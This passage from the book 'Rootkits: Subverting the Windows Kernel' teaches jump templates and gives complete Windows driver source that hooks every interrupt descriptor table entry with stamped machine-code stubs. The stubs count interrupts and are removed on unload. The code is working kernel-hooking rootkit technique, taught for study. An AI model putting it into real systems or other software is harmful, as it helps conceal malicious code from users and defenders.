Jump Templates

 < Day Day Up > 

We now detail a technique called jump templates. This technique can be used in a variety of ways, but we illustrate it with a hook on the interrupt table.

The following example counts the number of times each interrupt is called. Instead of patching the interrupt service routine (ISR) directly, we craft a special bit of code that will be executed for each ISR. To do this, we start with a template. In this case, we make hundreds of copies of the template one for each ISR. That is, instead of creating a single hook, we create an individual hook for each entry in the IDT.


The following example can be downloaded from rootkit.com at the address: www.rootkit.com/vault/hoglund/basic_interrupt_3.zip

Because each interrupt service routine exists at a different address, and therefore the reentry address is unique for each one, we must introduce a new technique that allows each individual entry to be hooked with unique jump details.

In the previous example, the rootkit code itself jumped back into the original function. That method works only when there is just a single hook. Instead of re-coding the same function hundreds of times we use a jump template to call into the rootkit code and then branch back to the original function.

The jump template is replicated for each interrupt routine. The FAR JMP address in each replicated copy is fixed up uniquely for each corresponding interrupt routine.

Figure 5-4 illustrates this technique. Each template calls the same rootkit code which in this case is treated like a normal function. A function always returns to its caller, so we don't need to worry about runtime address fixups in the rootkit code. This technique allows specific, unique code to be applied to each ISR hook. In our example, the unique code holds the correct interrupt number for each interrupt handler.

Figure 5-4. Use of jump templates.

The Interrupt Hook Example

The code sets up to work with the interrupt table:

 // -------------- // BASIC INTERRUPT HOOK part 3 // This hooks the entire table // -------------- #include "ntddk.h" #include <stdio.h> // debuggering // #define _DEBUG #define MAKELONG(a, b) ((unsigned long) (((unsigned short) (a)) | ((unsigned long)  ((unsigned short) (b))) << 16)) // Set this to the max int you want to hook. #define MAX_IDT_ENTRIES 0x100 // The starting interrupt for patching // to "skip" some troublesome interrupts // At the beginning of the table (TODO, find out why) #define START_IDT_OFFSET 0x00 unsigned long g_i_count[MAX_IDT_ENTRIES]; unsigned long old_ISR_pointers[MAX_IDT_ENTRIES];  // Better save // the old one!! char * idt_detour_tablebase; /////////////////////////////////////////////////// // IDT structures /////////////////////////////////////////////////// #pragma pack(1) // Entry in the IDT; this is sometimes called // an "interrupt gate." typedef struct {   unsigned short LowOffset;   unsigned short selector;   unsigned char unused_lo;   unsigned char segment_type:4;  //0x0E is an interrupt gate   unsigned char system_segment_flag:1;   unsigned char DPL:2;  // descriptor privilege level   unsigned char P:1; /* present */   unsigned short HiOffset; } IDTENTRY; /* sidt returns idt in this format */ typedef struct {   unsigned short IDTLimit;   unsigned short LowIDTbase;   unsigned short HiIDTbase; } IDTINFO; #pragma pack() 

The preceding code comprises the jump template. First it saves all registers, including the flags register. This is very important. The template will later call another function provided by the rootkit, so we want to make sure nothing gets corrupted in the registers, lest we trigger a crash when we call the original interrupt routine.

There are two versions of the jump template, depending on whether we have compiled under debug mode or release mode. The debug version does not actually call the rootkit code the call is NOP'd out. In the release version, after the registers are saved, the call takes place and then the registers are restored (in reverse order, of course). The call is defined as stdcall, which means the function will clean up after itself.

Finally, note the code that moves a value into EAX and then pushes this onto the stack. This value will be "stamped" with the interrupt number when DriverEntry runs. That is how the rootkit code will know which interrupt has just been called.

 #ifdef _DEBUG // Debuggering version nops out our "hook." // This works with no crashes. char jump_template[] = {   0x90,           //nop, debug   0x60,           //pushad   0x9C,           //pushfd   0xB8, 0xAA, 0x00, 0x00, 0x00,     //mov eax, AAh   0x90,           //push eax   0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90,  //call 08:44332211h   0x90,           //pop eax   0x9D,           //popfd   0x61,           //popad   0xEA, 0x11, 0x22, 0x33, 0x44, 0x08, 0x00  //jmp 08:44332211h }; #else char jump_template[] = {   0x90,           //nop, debug   0x60,           //pushad   0x9C,           //pushfd   0xB8, 0xAA, 0x00, 0x00, 0x00,     //mov eax, AAh   0x50,           //push eax   0x9A, 0x11, 0x22, 0x33, 0x44, 0x08, 0x00,  //call 08:44332211h   0x58,           //pop eax   0x9D,           //popfd   0x61,           //popad   0xEA, 0x11, 0x22, 0x33, 0x44, 0x08, 0x00  //jmp 08:44332211h }; #endif 

The following code shows the function that is called for each interrupt. The function simply counts the number of times each interrupt is called. The interrupt number is passed in the argument. Note the use of the multiprocessor-safe InterlockedIncrement to increment the interrupt counter. The interrupt counters are stored as a global array of unsigned longs.

 // Using stdcall means that this function fixes the stack // before returning (opposite of cdecl). // Interrupt number passed in EAX void __stdcall count_interrupts(unsigned long inumber) { // TODO, may have collisions here?   unsigned long *aCountP;   unsigned long aNumber; // Due to far call, we need to correct the base pointer. // The far call pushes a double dword as the return address, // and I don't know how to make the compiler understand this // is a __far __stdcall (or whatever it's called). // Anyway: // // [ebp+0Ch] == arg1 //   __asm mov eax, [ebp+0Ch]   __asm mov aNumber, eax //__asm int 3   aNumber = aNumber & 0x000000FF;   aCountP = &g_i_count[aNumber];   InterlockedIncrement(aCountP); } 

The DriverEntry routine applies the patch, performs the fixups, and makes the jump templates for each entry in the interrupt service table:

 NTSTATUS DriverEntry( IN PDRIVER_OBJECT theDriverObject, IN PUNICODE_STRING theRegistryPath ) {   IDTINFO   idt_info;  // This structure is obtained // by calling STORE IDT (sidt)...   IDTENTRY*  idt_entries;  // ...and then this pointer is // obtained from idt_info.   IDTENTRY*  i;   unsigned long  addr;   unsigned long  count;   char _t[255];   theDriverObject->DriverUnload = OnUnload; 

At this point, we initialize the global interrupt count table. This will store the number of times each interrupt is called. The interrupt number corresponds to the offset in the array.

   for(count=START_IDT_OFFSET;count<MAX_IDT_ENTRIES;count++)   {    g_i_count[count]=0;   } // load idt_info   __asm  sidt  idt_info   idt_entries = (IDTENTRY*) MAKELONG( idt_info.LowIDTbase, idt_info.HiIDTbase); The original values in the interrupt table are stored off so that we can restore them when we unload: //////////////////////////////////////////// // Save old idt pointers. ////////////////////////////////////////////   for(count=START_IDT_OFFSET;count < MAX_IDT_ENTRIES;count++)   {    i = &idt_entries[count];    addr = MAKELONG(i->LowOffset, i->HiOffset);    _snprintf(  _t, 253, "Interrupt %d: ISR 0x%08X", count, addr);    DbgPrint(_t);    old_ISR_pointers[count] =  MAKELONG( idt_entries[count].LowOffset, idt_entries[count].HiOffset);   } 

At this point, enough memory is allocated to store all the jump templates. This is placed in NonPagedPool, of course.

 /////////////////////////////////////////// // Set up the detour table. ///////////////////////////////////////////   idt_detour_tablebase = ExAllocatePool( NonPagedPool,   sizeof(jump_template)*256); 

The next section of code gets a pointer to each jump table location in NonPagedPool, copies the jump template into the location, and then "stamps" the correct reentry address and interrupt number into the jump template. This is done each time, for every interrupt.

   for(count=START_IDT_OFFSET;count<MAX_IDT_ENTRIES;count++)   {    int offset = sizeof(jump_template)*count;    char *entry_ptr = idt_detour_tablebase + offset; // entry_ptr points to the start of our jump code // in the detour_table. // Copy the starter code into the template location.    memcpy(entry_ptr, jump_template, sizeof(jump_template)); #ifndef _DEBUG // Stamp the interrupt number.    entry_ptr[4] = (char)count; // Stamp the far call to the hook routine.    *( (unsigned long *)(&entry_ptr[10]) ) = (unsigned long)count_interrupts; #endif // Stamp the far jump to the original ISR.    *( (unsigned long *)(&entry_ptr[20]) ) = old_ISR_pointers[count]; 

The interrupt table entry is modified to point to the new jump template we've just created:

 // Finally, make the interrupt point to our template code.    __asm cli    idt_entries[count].LowOffset =   (unsigned short)entry_ptr;    idt_entries[count].HiOffset =   (unsigned short)((unsigned long)entry_ptr >> 16);    __asm sti   }   DbgPrint("Hooking Interrupt complete");   return STATUS_SUCCESS; } 

The OnUnload routine shown in the following code simply restores the original interrupt table. It also prints how many times each interrupt was called. If you ever have a problem finding the keyboard interrupt, try this driver, and press a key 10 times. When you unload, the keyboard interrupt will be recorded as having been called 20 times (once for keydown, once for keyup).

 VOID OnUnload( IN PDRIVER_OBJECT DriverObject ) {   int i;   IDTINFO   idt_info;  // This structure is obtained // by calling STORE IDT (sidt)...   IDTENTRY*  idt_entries;  // ...and then this pointer // is obtained from idt_info.   char _t[255]; // load idt_info   __asm  sidt  idt_info   idt_entries = (IDTENTRY*) MAKELONG( idt_info.LowIDTbase, idt_info.HiIDTbase);   DbgPrint("ROOTKIT: OnUnload called\n");   for(i=START_IDT_OFFSET;i<MAX_IDT_ENTRIES;i++)   {    _snprintf(_t, 253, "interrupt %d called %d times", i, g_i_count[i]);    DbgPrint(_t);   }   DbgPrint("UnHooking Interrupt...");   for(i=START_IDT_OFFSET;i<MAX_IDT_ENTRIES;i++)   {    // Restore the original interrupt handler.    __asm cli    idt_entries[i].LowOffset = (unsigned short) old_ISR_pointers[i];    idt_entries[i].HiOffset = (unsigned short)((unsigned long) old_ISR_pointers[i] >> 16);    __asm sti   }   DbgPrint("UnHooking Interrupt complete."); } 

We have now been introduced to jump templates. The technique can be generalized for many problems. Jump templates are especially useful when more than one hook is required, each of which needs some unique or specific associated data.

     < Day Day Up > 

    Rootkits(c) Subverting the Windows Kernel
    Rootkits: Subverting the Windows Kernel
    ISBN: 0321294319
    EAN: 2147483647
    Year: 2006
    Pages: 111

    Similar book on Amazon

    flylib.com © 2008-2017.
    If you may any questions please contact us: flylib@qtcs.net